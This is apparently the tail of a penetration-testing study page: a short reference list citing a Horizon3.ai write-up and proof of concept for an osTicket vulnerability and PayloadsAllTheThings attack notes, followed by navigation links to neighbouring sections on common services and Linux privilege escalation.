10. Horizon3.ai — Ticket to Shell: osTicket CVE-2026-22200 · horizon3ai/CVE-2026-22200 PoC
11. PayloadsAllTheThings — CMS / app attack notes

← Previous: Common Services · Workflow dashboard · Next: Linux PrivEsc →